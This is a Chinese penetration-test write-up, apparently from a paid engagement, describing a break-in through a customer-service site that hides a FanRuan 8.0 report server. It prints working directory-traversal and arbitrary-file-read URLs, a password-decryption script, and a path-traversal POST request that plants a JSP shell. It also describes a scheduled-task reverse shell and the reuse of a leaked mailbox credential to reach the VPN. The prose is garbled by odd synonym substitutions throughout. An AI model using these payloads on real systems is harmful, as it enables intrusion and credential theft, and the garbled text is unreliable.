项目整体情况
该厂家财物较多,前期收集到的财物大约有100多个,大部分为Springboot开发,有阿里云waf,部分为nodejs+vue的。而且上一年从前挖过一次,找到的洞悉数从前修正了,所以本年在打的话就比拟费力了。本年的开掘要点在于上一年没找到的财物,但是一顿猛如虎的操作往后,只挖到一些信息走漏和越权,这显然是无法交差的。
上一年的开掘要点是Springboot的站,本年就选择nodejs的站为要点来打破,固然困难,但最终仍是找到两个打破点成功进入内网。
一、 打破点1:客服体系
首要关注的财物是客服体系,该体系运转在444端口(域名先称之为https://www.test.com:444/
),选用nodejs+vue开发,有上传功用,但上传后的文件直接传到的阿里云的oss上,xss上一年挖过了,也从前被修正了,扫描端口,发现开了80、443、444,不过悉数指向该客服体系,由于意图nodejs的站比拟少,无法只能死磕这个站了。
0x01 差点错过的切入点
死磕的过程中紧紧盯着收集到的信息,发现有一个细节便是阅读器选项卡里的logo变了,本来是厂家的logo,现在居然变成了其他logo,这个细节让我觉得这个站点下面还有其他站点。
本来的logo信息如下:(原谅我找了个网图,由于一看logo就或许会露出厂商信息)
扫描完目录后的logo如下:
百度后发现这是个帆软的报表体系的logo,猜疑是在某个二级目录下布置的,于是开端了绵长的目录扫描,发现除了是客服体系的目录外,并没有其他的收成,但是logo的改变,让我确信该站点存在其他体系,而且在信息收集的时分意外拜访过,才会招致logo的改变。
0x02 山穷水尽
现在整理下思绪,肯定有个帆软的报表体系,那么就针对性的对帆软的目录构造中止爆破,这儿我先是在本地搭建了一个帆软的体系,发现拜访的url联接为
http://localhost:8075/WebReport/ReportServer?op=fs
默许是运转在/WebReport/的目录下,咱们直接拜访这个目录却提示404,这也是前期扫描器没扫出来的缘由,404的问题后边也会说到。
无法在本地体系里把帆软的目录及拜访首页的联接悉数做成字典,挨个中止测验,最终发现拜访https://www.test.com:444//WebReport/ReportServer
的时分出现了帆软的界面。。
0x03 漏洞组合拿权限
既然从前找到了目录,而且判别出版别为8.0
这个版别是存在漏洞的,测验了一下揭露的漏洞
目录遍历
https://www.test.com:444/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..¤tUserName=admin¤tUserId=1&isWebReport=true
任意文件读取:
https://www.test.com:444/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
成功读到了加密后的账号暗码
# -*- coding: utf-8 -*-cipher = 'xxx' PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] Password = ""cipher = cipher[3:] for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] Password = Password + chr(c2)print (Password)
然后使用脚本解密出来账号暗码,一切顺利进入后台,然后便是插件处上传插件,上传后的插件默许在/WEB-INF/目录下,需求把文件移出来,这儿参阅了ADog大神的文章(http://foreversong.cn/archives/1378
) 然后用如下数据包中止脚本移动
POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1Host: www.test.com:444Content-Length: 106Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Language: zh-CN,zh;q=0.8Cookie: xxxConnection: closeoptype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=../../../data.jsp&serverID=
然后开开心心去拜访shell,却发现是404,操作步骤是本地测验过的,没有问题,用前面的列目录去检查,发现shell的确移动到了/WebReport/目录下,直接拜访https://www.test.com:444/WebReport/data.jsp
仍是404,测验该目录下的一些静态文件,也悉数404,猜想是只映射了http://www.test.com:444/WebReport/ReportServer
这一个链接出来。
0x04 一波三折完成指令履行
冷静下来,总结一下,咱们现在有了列目录漏洞、读文件漏洞、移动文件的权限,那么开端测验直接写计划使命反弹shell就好了,先通过列目录漏洞找到计划使命目录检查能否存在已有的计划使命,然后把弹shell的脚本交换到现有计划使命里,完成了指令履行。
等了好久却没收到shell,又是一次深重的打击,用计划使命的指令履行写个文件看看,发现的确能够写进去,那么只能说明意图不出网或许指令被阻拦了。。但仍然完成了指令履行,也算是个高危报告了,体系暂时告一段落。
二、github源码走漏
固然拿到了指令履行,但意图仍是要进内网的,无法翻看体系内的文件,然后在体系内某个目录的文件里发现了一个并不在测验列表里的域名,在github查找意图域名,发现了一个库房,里面的源码最近一次修正时6年前,且信息收集的时分并没有发现这个体系,猜疑该体系从前下线,例行公事的去翻翻配置文件,发现了配置文件里有个走漏的邮箱,但毕竟6年了,也没抱太大希望去测验了一下,居然登录进去了。。
163的企业邮箱
在这个邮箱里发现了用户重置vpn暗码的邮件,然后通过vpn顺利进入内网。。
三、总结
此次打点过程比拟困难,用了大约三天的时刻,发现帆软的体系关于这次项目来说是个绝对性的打破点,主要仍是要细心,假设没留意到阅读器选项卡的logo改变,或许就错过这个漏洞了。——本页内容已结束,喜欢请分享——